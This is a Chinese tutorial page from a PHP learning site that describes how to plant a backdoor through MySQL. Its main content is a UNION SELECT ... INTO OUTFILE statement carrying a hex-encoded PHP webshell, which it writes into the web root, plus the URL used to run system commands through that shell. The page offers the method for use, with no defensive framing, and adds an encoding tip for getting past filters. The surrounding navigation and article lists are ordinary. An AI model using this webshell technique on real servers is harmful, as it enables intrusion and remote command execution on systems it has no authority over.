微信公众号 讲师中心
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机/移动开发 手机游戏
最近更新
搜索
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程
自媒体 新闻
首页 > 数据库 > mysql教程 > 正文

通过Mysql语句生成后门木马的方法_MySQL

PHP中文网
发布： 2016-05-27 14:29:32
原创
1982人浏览过

通过mysql 的语句生成后门木马的方法!

SELECT * FROM `vbb_strikes` 
WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E 
from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'
登录后复制


通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:

2 3 <?php system($_REQUEST[cmd]);?>
登录后复制


再通过 http://www.xxx.com/cmd.php?cmd=dir c: 就可以执行系统DOS命令!
哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么东西?
就是<?php system($_REQUEST[cmd]);?>的十六进制编码了,如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能执行的了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!bitsCN.com

Felvin
Felvin

AI无代码市场，只需一个提示快速构建应用程序

Felvin 161
查看详情 Felvin

 以上就是通过Mysql语句生成后门木马的方法_MySQL的内容，更多相关内容请关注PHP中文网（www.php.cn）！

相关标签：
mysql

大家都在看：

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。

下载
来源：php中文网
收藏 点赞
上一篇：linux高负载下彻底优化mysql的数据库_MySQL 下一篇：基于MySQL的BBS设计(2)_MySQL
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
作者最新文章
最新问题
mysql通配符可以加引号吗_mysql通配符使用中是否需要引号的说明 通配符必须放在引号内，如SELECTFROMusersWHEREnameLIKE‘a%’;错误写法是SELECTFROMusersWHEREnameLIKE%;
2025-11-22 05:59:07
854
mysql通配符能用于排序吗_mysql通配符在order by中的使用可能性分析 通配符不能用于ORDERBY排序，仅适用于WHERE或HAVING中的LIKE模糊匹配；如需实现类似效果，可通过CASE与LIKE结合生成排序权重，或使用字符串函数提取内容排序，从而间接达成目的。
2025-11-22 05:05:36
134
mysql升级后应用兼容_mysql升级应用兼容性处理 MySQL升级后兼容性问题需提前应对，包括SQL语法变更（如严格模式、GROUPBY限制）、字符集默认值调整（utf8mb4_0900_ai_ci）、驱动不兼容（需升级JDBC8.0+）及权限系统重构；应通过测试环境验证、代码审查、连接配置更新和工具校验确保平滑迁移。
2025-11-22 04:25:25
345
如何在mysql中安装客户端工具_mysql客户端安装配置 答案：安装MySQL客户端需根据操作系统选择对应方法。Windows通过MySQLInstaller选择“ClientOnly”安装；Linux使用aptinstallmysql-client；macOS用Homebrew安装并配置PATH；安装后通过mysql命令连接数据库，可创建~/.my.cnf配置文件简化登录，注意设置权限chmod600避免安全警告。
2025-11-22 04:11:33
487
mysql如何优化多事务并发_mysql多事务并发优化 合理设置隔离级别、优化索引设计、缩短事务周期、使用乐观锁与重试机制可有效提升MySQL高并发性能。
2025-11-22 03:33:31
663
mysql如何优化大表查询_mysql大表查询性能优化 答案：大表查询优化需综合索引设计、SQL优化、表结构、分区和缓存等手段。应创建复合索引并避免索引失效操作，使用覆盖索引减少回表；优化SQL写法，避免SELECT*和深分页，用JOIN替代子查询；选择合适数据类型，对大表按时间或哈希分区，实现冷热分离；结合Redis缓存高频查询结果，通过主从复制实现读写分离，并利用EXPLAIN分析执行计划持续调优，核心是匹配业务模式、减少全表扫描。
2025-11-22 02:23:33
852
mysql中如何优化事务查询_mysql事务查询优化方法 合理设计事务大小、使用索引、选择合适隔离级别、减少锁冲突、优化提交回滚可提升MySQL事务性能。
2025-11-22 02:11:26
141
mysql如何搭建主从复制环境_mysql主从复制环境搭建方法 主从复制需配置主库启用二进制日志并创建复制用户，从库设置server-id和主库连接信息，启动复制后验证数据同步。1.主库配置log-bin、server-id，创建repl用户；2.从库配置server-id、relay-log，执行CHANGEMASTER并STARTSLAVE；3.检查Slave_IO_Running和Slave_SQL_Running为Yes，主库操作在从库同步即成功。
2025-11-22 02:05:11
217
mysql导入sql文件失败怎么办_mysql导入sql文件失败的常见原因及解决方法 MySQL导入SQL文件失败常见于编码问题、文件过大、语法不兼容、权限不足或表冲突。1.确保SQL文件为UTF-8无BOM编码，必要时转换并执行SETNAMESutf8；2.对大文件调整max_allowed_packet、interactive_timeout等参数，推荐命令行导入；3.检查SQL语法兼容性，移除或修改CREATEDATABASE、USE语句，确认引擎支持，分步导入结构与数据；4.使用高权限账户（如root），检查并授权GRANTALLPRIVILEGES；5.处理表存在或主键
2025-11-22 01:05:10
573
mysql安装后如何检查版本_mysql版本检查方法 使用mysql--version或mysqld--version命令可快速查看客户端或服务器版本；2.登录MySQL后执行SELECTVERSION();或SHOWVARIABLESLIKE‘version%’;可获取更精确的服务端版本信息；3.通过systemctlstatusmysql和which命令可确认服务运行状态及实例路径，避免多实例混淆。
2025-11-21 14:10:34
647
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部